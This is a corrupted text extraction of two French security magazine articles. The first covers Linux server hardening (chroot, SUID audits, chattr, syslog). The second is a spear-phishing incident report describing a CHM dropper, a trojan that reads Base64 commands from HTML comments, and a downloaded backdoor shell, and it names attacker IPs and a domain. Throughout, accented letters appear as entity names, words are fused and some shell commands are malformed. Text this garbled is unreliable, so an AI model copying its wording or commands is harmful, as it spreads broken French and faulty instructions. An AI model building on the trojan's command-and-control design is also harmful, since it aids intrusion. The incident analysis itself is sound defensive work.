ChrootCest une commande qui permet de modifier la racine de lapplication afin de cloisonner le service agrave son pro-pre environnement (voir Figure 2) Elle peut ecirctre utiliseacutee dans deux cas

bull Pour changer denvironnement (basculer vers un autre systegraveme) par exemple utiliser un environne-ment 32bits sur un systegraveme 64bits

bull Pour cloisonner un programmeutilisateur et lempecirc-cher de remonter dans larborescence

Concregravetement mon application Apache est vulneacutera-ble agrave une faille qui permet dacceacuteder agrave un shell distant Dans le premier cas (sans chroot) lattaquant reacutecupegrave-re la main sur mon systegravemeDans le second cas (avec chroot) lattaquant na accegraves quau reacutepertoire de lap-plication il ne peut pas remonter dans larborescence seule mon application est compromise Bien entendu cela nest quun exemple (des manipulations existent pour passer outre cette seacutecuriteacute) mais dans le cas de services mutualiseacutes on eacutevite ainsi de perdre tous les services seul le service incrimineacute est compromis

Nous nexpliquerons pas la proceacutedure de chroot dun service ici de tregraves bons articles et sites web en parlent notamment sur le site httplea-linuxorg sachez tout de mecircme que certaines applications requiegraverent decirctre recompileacutees pour fonctionner dans cet environnement restreint

Les modules et fonctionnaliteacutesPlus un systegraveme est complexe moins il est facile de le seacutecuriseacute il est donc primordial de limiter au maximum les fonctionnaliteacutes agrave notre strict besoin

Les fichiers par deacutefaut de deacuteveloppement (exemple la page phpinfophp pour PHP) sont souvent oublieacutes De nombreux automates (scanner de vulneacuterabiliteacute exemple Nessus) permettent de veacuterifier les configura-tions par deacutefaut Ils peuvent apporter des informations agrave un eacuteventuel assaillant il est donc primordial deffacer ces composants

De nombreux programmes (TOMCAT PHP ) utilisent des modules pour lajout de fonctionnaliteacute ces modules

Figure 2 Changement de racine

etcapacvhe

Figure 3 Droit SUID

hakin9orgfr 9

sont bien souvent installeacutes par deacutefaut et oublieacutes or dans le cas dapplications WEB ces oublis permettent bien souvent dutiliser des exploits la suppression de ces modules permet de corriger ce problegraveme (en les deacutesinstallant ou la plupart du temps en commentant les lignes dans les fichiers de configuration)

Versions et mise agrave jourLa premiegravere chose que va chercher agrave obtenir un eacuteventuel attaquant sur un systegraveme reacuteseau est la version drsquoappli-cation ou du systegraveme afin de le comparer avec des listes de vulneacuterabiliteacutes existantes Hors dans de nombreux cas ces versions sont facilement identifiables

Exemple sur un serveur FTP lors de la connexion celui-ci va nous indiquer sa version de systegraveme dex-ploitation son nom de logiciel et sa version

Les solutions ne sont pas toujours tregraves simples mais existent

bull la suppression des banniegraveres de connexion ou au moins les rendre anonymes au maximum (requiert parfois une recompilation du binaire)

bull la mise agrave jour constante des applications et des systegravemes (malheureusement les failles 0 days existent)

bull le changement des mots de passe par deacutefaut

Une autre probleacutematique agrave laquelle on ne songe pas toujours lors de la mise agrave jour dun systegraveme il arri-ve bien souvent que le correctif de seacutecuriteacute modifie la configuration de lapplication (par exemple sur Ora-cle lrsquoapplication de certains correctifs reacuteinitialise les paramegravetres de seacutecuriteacute)

Apregraves lapplication dun correctif il est primordial de veacuterifier la configuration de seacutecuriteacute dune application

droits et fichiersDepuis toujours ladministration essaie de prendre en compte les notions de seacutecuriteacute mais oublie bien souvent la gestion des droits sur les fichiers Sous les systegravemes Linux il existe les droits standards (lectureeacutecritureexeacute-cution avec la gestion utilisateurgroupeautre) et les droits eacutetendus (Suid Sticky Bit ACL)

Eacutenumeacuterer les fichiers et reacutepertoires avec des droits en eacutecriture pour tous

fi nd type d -perm -2 -exec ls -lcd

Pour un systegraveme multi-utilisateurs avec des partages de fichiers le systegraveme de droits standard nest pas suf-fisant Pour ce faire il existe les ACL (commandes getfacl et setfacl) qui permettent une gestion de droits plus fine sur les fichiers

Dans la majoriteacute des cas un administrateur ne pen-sera pas agrave faire un getfacl sur un fichier il fera un simple ls -al et passera donc devant des droits peut ecirctre trop

9

5201010

dossier

permissifs crsquoest pour cela quil est recommandeacute dutili-ser au strict besoin ce genre de droits

Les droits setuid et setgid (repreacutesenteacutes par un s) permettent agrave un programme de sexeacutecuter avec les droits de son proprieacutetaire par exemple la commande passwd permet agrave un simple utilisateur de modifier son mot de passe (par deacutefaut) dans le fichier etcpasswd ou etcshadow (voir Figure 3)

Ces droits sont agrave lorigine dun tregraves grand nombre de failles de seacutecuriteacute locales qui permettent leacuteleacutevation de privilegraveges sous Linux (passer dun simple utilisateur agrave root) il est donc fortement recommandeacute de lutiliser au strict minimum

Liste des fichiers ougrave les droits SUID et SGUID sont positionneacutes

find ( -perm -4000 -o -perm -2000 ) -exec -l -lc

Le sticky bit (bit de collage) est un droit compleacutemen-taire positionneacute sur un fichier il permet de garder le fi-chier en meacutemoire si par contre il est positionneacute sur un reacutepertoire (exemple tmp) les fichiers creacuteeacutes dans ce reacutepertoire ne pourront ecirctre supprimeacutes que par le pro-prieacutetaire du fichier

Drsquoautres attributs de fichiers (positionneacutes avec la commandes chattr et visibles avec lsattr) peuvent ecirctre appliqueacutes

bull a on peut seulement ajouter des donneacutees au fi-chier

bull c compresseacute automatiquementbull i ne peut ecirctre modifieacute (ni supprimeacute ni renommeacute)bull s remplacement de tous les blocs du fichier lors

de la suppression par des 0bull u sauvegarde du fichier en cas de suppression

Exemple drsquoutilisation

bull chattr +i mon _ fichier ajoute lattributbull chattr -i mon _ fichier supprime lattributbull chattr =i mon _ fichier ne laisse que lattribut

La virtualisationLa reacutepartition de charge par virtualisation est de plus en plus utiliseacutee elle permet sur un serveur suffisamment puissant deacutemuler plusieurs serveurs (par exemple dobtenir sur une mecircme machine plusieurs controcircleurs de domaine) Ces architectures sont assez reacutecentes et geacuteneacuteralement mal maicirctriseacutees par les administrateurs (voir Figure 4)

Figure 4 Virtualisation

regravegles de seacutecurisation

hakin9orgfr 11

La seacutecurisation et la mise agrave jour de serveursma-chines virtuels doit ecirctre consideacutereacutee de la mecircme maniegravere que pour des serveurs physiques ils sont bien souvent oublieacutes Sous Linux il existe plusieurs logiciels de virtualisation VIRTUALBOX VMWARE Xen Qemu(Qemu et VIRTUALBOX sont gratuits mais ne sont pas optimiseacutes pour des CLUSTERS) Il est aussi possible dutiliser une machine virtuelle pour tester les politiques de seacutecuriteacute avant de les appliquer sur un serveur en distribution Le fait quune machine soit virtuelle ne doit pas limiter la maniegravere de la seacutecuriser il faut consideacuterer que cest une machine physique avec quand mecircme quelques atouts (notamment la faciliteacute de remplacement en quelques commandes la machines virtuelle est re-monteacutee agrave son original)

Un cœur de reacuteseau virtualiseacute apporte t-il plus de seacutecuriteacute qursquoune batterie de machineAgrave ce genre de question le normand qui sommeille en moi aurait tendance agrave reacutepondre oui et non Il faut bien comprendre le fonctionnement si je mets en place une virtualisation de serveur mes serveurs pour communi-quer entre eux vont communiquer sans passer par le reacuteseau (en fait la partie reacuteseau entre les serveurs est elle

aussi virtualiseacutee) donc la partie habituellement physique entre mes serveurs (cacircbles reacuteseaux et eacuteleacutements actifs) qui peut engendrer des failles de seacutecuriteacute de lrsquointer-ception de communication nrsquoa plus lieu drsquoecirctre (bien sucircr drsquoautres possibiliteacutes drsquointerceptions sont possibles via des applications tiers mais beaucoup moins discregravetes)

Drsquoun autre cocircteacute si une des machines virtuelles est compromise il est tregraves facile de lrsquoisoler et de remettre sa fonction en place (des routines automatiques exis-tent) mais le problegraveme vient de la machine hocircte elle est accessible du reacuteseau il est donc possible de la com-promettre ce qui revient agrave compromettre lrsquoensemble des machines virtuelles (voir Figure 5)

Journalisation et sauvegardesLa journalisation et lrsquoenregistrement des eacutevegravenements des applications sont geacutereacutes par deacutefaut par SYSLOG (configureacute via le fichier etcsyslogdconf) il permet drsquoeffectuer une centralisation des journaux drsquoaudit ainsi qursquoune gestion par niveau de criticiteacute (par deacutefaut ils sont stockeacutes dans varloglog)

Ses diffeacuterents niveaux

bull emerg kernel panic systegraveme HS bull alert doit ecirctre corrigeacute immeacutediatement

Figure 5 Exemple de communication entre eacuteleacutements du cluster

Avec Virtualisation Sans Virtualisation

Reacuteseaude lrsquoenterprise

Reacuteseaude lrsquoenterprise

5201012

dossier

bull crit panne mateacuteriellebull err erreur geacuteneacuteriquebull warning avertissementbull notice avertissement neacutecessitant un traitement

particulierbull info informationbull debug deacutebogage

Certains de ces niveaux ne doivent ecirctre utiliseacutes que dans le cas de deacuteveloppement drsquoapplication ou tests de fonctionnement (info et debug) de mecircme il est tregraves fortement conseilleacute de limiter ces informations au strict besoin Le fait de tout journaliser produirait des jour-naux drsquoune taille tregraves importante qui seraient totale-ment inexploitables

bull Atteinte de la taille maximum du support de stocka-ge plus aucune information ne sera journaliseacutee (si une option drsquoeacutecrasement est activeacutee risque de per-te drsquoinformations)

bull Tri et exploitation beaucoup trop longs (imaginez la journalisation drsquoune journeacutee qui prend plusieurs jours agrave analyser)

Il est donc primordial drsquoappliquer une journalisation adapteacutee au mode drsquoutilisation un mode debug peut ecirctre utiliseacute pour analyser le bon fonctionnement drsquoune application mais il ne doit pas ecirctre constamment acti-veacute

La protection des journaux est aussi essentielle la derniegravere chose que fera un attaquant apregraves srsquoecirctre intro-duit chez vous est drsquoeffacer ses traces un attribut de protection sur les fichiers est donc tregraves important (voir le chapitre preacuteceacutedent Droits et fichiers)

Quel est lrsquointeacuterecirct de la journalisation

bull Comme eacutenonceacute preacuteceacutedemment dans le cas de test du fonctionnement drsquoune application

bull Pour deacutetecter lrsquoorigine de problegravemes sur la machi-ne

bull Pour tracer les actions (sur le systegraveme dans une applicationhellip)

bull Afin de deacutetecter des agissements anormauxbull Pour proteacuteger lrsquoadministrateur la socieacuteteacute en vertu

des lois (respect des lois)

Mais la journalisations ne fait pas tout il faut aussi ef-fectuer des sauvegardes des sauvegardes systegravemes (par exemple avant une modification majeure reacutegu-liegraverement pour reacutecupeacuterer facilement apregraves un crash) mais aussi des journaux drsquoaudit Bien sucircr ces sauve-gardes doivent ecirctre proteacutegeacutees et deacutelocaliseacutees

En geacuteneacuteral la dureacutee de conservation des sauvegardes (journaux bien que systegravemes seraient un plus) doit ecirctre entre 1 agrave 2 ans (leacutegalement) permettant une reacuteponse aux requecirctes judiciaires

seacutecuriteacute et continuiteacuteUn systegravemes nrsquoest jamais complegravetement sucircr Lrsquohomme (ou la femme) le meilleur du monde ne pourra jamais seacutecuriser un systegraveme de maniegravere absolue

Il y a quand mecircme des moyens afin drsquoatteindre un niveau de seacutecuriteacute assez convenable

bull La mise en place de politique de seacutecuriteacutebull Effectuer de la veille technologiquebull Effectuer reacuteguliegraverement des audits de seacutecuriteacute sur

les systegravemesbull Le respect par tous des regravegles de seacutecuriteacute (le vi-

rus introduit sur le reacuteseau vient dans la majoriteacute des cas du grand chef ou des administrateurs locaux

bull Sensibiliser encore et encore

Bien sucircr cette liste nrsquoest pas exhaustive

ConclusionLa seacutecuriteacute dun systegraveme ne deacutepend pas que de sa mise agrave jour il deacutepend eacutenormeacutement de la maniegravere dont on administre ses service Que ce soit pour un serveur dune grande entreprise ou votre serveur agrave la maison la seacutecurisation de votre serveur ne sera jamais fini effectuez une veille technologique et appliquez la seacutecu-risation par laquo laccegraves au strict besoins raquo et vous aurez eacuteviteacute un grand nombre dattaque Malheureusement vous ne serrez jamais proteacutegeacute contre les nouvelles failles applicatives et ceux mecircme avec une infrastruc-ture conseacutequente

La seacutecuriteacute nest quun deacutebut son application na pas de fin

Agrave ProPos de LAUTeUrAutodidacte depuis plus de dix ans dans le domaine du deacuteve-loppement lauteur e ectue des audits de seacutecuriteacute informati-que pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

NoTe regravegles de bonnes conduites agrave garder sur ces systegravemes bull Le cloisonnement des mots de passe (le mecircme mot de

passe ne doit pas ecirctre utiliseacute entre les machines virtuelles et la machine physique)

bull La mise agrave jour des systegravemes en portant une attention particuliegravere sur la stabiliteacute du systegraveme maicirctre (machine physique)

bull Lrsquoapplication de droits restreints agrave lrsquoadministration des machines virtuelles (seul un administrateur doit pouvoir reacuteinitialiser une machine la dupliquer lrsquoexporter etc)

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

